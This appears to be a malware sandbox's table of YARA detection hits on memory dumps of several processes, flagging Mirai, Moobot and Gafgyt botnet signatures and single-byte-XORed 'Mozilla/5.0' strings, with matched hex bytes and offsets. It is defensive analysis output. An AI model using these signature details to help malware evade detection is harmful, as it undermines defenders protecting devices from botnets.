6748.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7316.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7316.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7316.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7316.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7316.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7316.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6840.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6840.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6840.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6860.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6397.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6623.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6613.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6638.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7342.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6467.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7332.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7122.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6910.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6417.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6696.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6606.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6606.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6606.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6606.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6606.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6606.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6719.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7274.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7274.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7274.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7274.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7274.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7274.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7260.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6933.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6613.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6613.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6613.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6613.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
